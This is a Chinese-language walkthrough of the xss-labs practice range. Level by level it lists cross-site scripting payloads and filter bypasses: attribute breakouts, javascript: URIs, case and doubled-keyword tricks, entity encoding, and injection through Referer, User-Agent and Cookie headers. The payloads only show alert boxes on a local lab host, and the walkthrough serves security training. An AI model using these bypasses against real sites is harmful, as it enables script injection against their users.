xss_labs通关教程
level1
1、url输入特殊字符,按F12判断输入字符的位置
2、构造Payload
/level1.php?name=</h2><script>alert("xss")</script>
level2
1、url输入特殊字符判断位置
2、构造Payload
"><script>alert("xss")</script>#
level3
1、url输入特殊字符判断位置
2、构造Payload
"><script>alert("xss")</script>#
"onclick=alert('xss')
" onmouseover=prompt("xss") type="text
发现<>、" "
被转义
猜测有htmlspecialchars()过滤,但'
没有被过滤
4、重新构造Payload
' onmouseover=prompt('xss') type='text 发现弹窗,但没有过关
'onclick=alert('xss')type='text 成功
level4
1、url输入特殊字符判断位置
2、构造Payload
'onclick=alert('xss')type='text
发现'
被过滤,使用Javascript伪协议绕过
3、重新构造Payload
" onclick="javascript:alert(1)
level5
1、url输入特殊字符判断位置
2、构造Payload
" onclick="javascript:alert(1)
发现onclick的on被替换为o_n,使用没有on的弹窗
3、重新构造Payload
">"<a href="javascript:alert(1)">aa</a>
level6
1、url输入特殊字符判断位置
2、构造Payload
">"<a href="javascript:alert(1)">aa</a>
"><img src=javascript:alert(1)>
发现href被替换,src被替换,尝试大写绕过
3、重新构造Payload
">"<a hRef="javascript:alert(1)">aa</a>
level7
1、url输入特殊字符判断位置
2、构造Payload
">"<a hRef="javascript:alert(1)">aa</a>
发现hRef和script被过滤为空,双写绕过
3、重新构造Payload
">"<a hRhrefef="javascrscriptipt:alert(1)">aa</a>
level8
1、url输入特殊字符判断位置
发现两个地方有构造点
2、构造Payload
" onclick="javascript:alert(1)
<
和>
被编码了,在href属性值中script
字符被插入了_
字符破坏语义
用来闭合引号的引号也被编码了。
onfocus一类的事件也被破坏了
大小写绕过,失败了
因为此处没有对关键字进行删除,所以就不进行双写测试了
其实还可以将我们要提交的js代码进行编码
3、重新构造Payload
unicode在线编码
https://tool.oschina.net/encode
javascript: alert(1)
编码后:
javascript: alert(1)
level9
1、url输入特殊字符判断位置
2、构造Payload
javascript: alert(1)
编码后:
javascript: alert(1)
提交的参数值插入到了标签的value属性值中
但是在<a>
标签的href属性中却并没有出现该参数值,
而是显示的 "您的链接不合法?有没有!"
这样的字符串。
猜测这里可能对url地址做了匹配。
只有包含正常的url地址才能添加到href属性值中
3、重新构造Payload
javascript:alert('xss')http://www.baidu.com
发现script被过滤scr_ipt
4、重新构造Payload
javascript:alert(1)//http://
level10
1、url输入特殊字符判断位置
发现有三个隐藏表单,发现只有t_sort能传参
2、构造Payload
keyword=1&t_sort=" onclick=alert(1) type="text
level11
1、url输入特殊字符判断位置
发现有四个隐藏表单
2、构造Payload
http://192.168.220.135/xss/xss-labs/level11.php?keyword=1&t_link=" onclick=alert(1) type="text&t_history=" onclick=alert(1) type="text&t_sort=" onclick=alert(1) type="text&t_ref=" onclick=alert(1) type="text
发现只有t_sort能传参,过滤"
3、重新构造Payload
进行抓包
可以看到在原始的请求数据包中并没有referer这个请求头,那么我们可以自
己给它加上
referer:111
发现t_ref隐藏表单被传入111
构造Payload
referer:" onclick=alert(1) type="text
level12
1、url输入特殊字符判断位置
发现有四个隐藏表单,发现t_ua传入的是User-Agent
2、构造Payload
User-Agent: " onclick=alert(1) type="text
level13
1、url输入特殊字符判断位置
发现有四个隐藏表单,使用BP抓包,发现Cookie参数传入t_cook
Cookie: user=call+me+maybe%3F
2、构造Payload
Cookie: user=" onclick=alert(1) type="text
level14
1、上传文件判断位置
发现打印出来图片EXIF信息。
2、构造Payload
我们可以修改EXIF信息,向其中写入脚本,当后端读取并先到前端时,就会注入脚本,触发XSS。
上传文件,成功弹窗
level15
1、判断位置
URL的src参数回显在下面的ng-include。
http://192.168.220.135/xss/xss-labs/level15.php?src="level15.png"
ng-include相当于php的include函数,所以我们包含一个有XSS漏洞的URL就可触发这里的XSS。
2、构造Payload
http://192.168.220.135/xss/xss-labs/level15.php?src='level1.php?name=<img src=x onerror=alert(1)>'
level16
1、url输入特殊字符判断位置
2、构造Payload
</center><script>alert(1)</script>
发现/
和script
和空格被过滤,可以使用img标签
2、重新构造Payload
<img%0asrc="x"onerror=alert(1)>
level17
1、url输入特殊字符判断位置
2、构造Payload
这题是Flash XSS,但是我们用闭合属性也可以触发XSS
arg01=a&arg02=" onmouseover=alert(1)
level18
这题也是Flash XSS,我们可以用闭合属性也可以触发XSS
arg01=a&arg02=" onmouseover=alert(1)
后面的涉及到了反汇编,暂时放下
可以参考大佬的文章:https://cloud.tencent.com/developer/article/1777605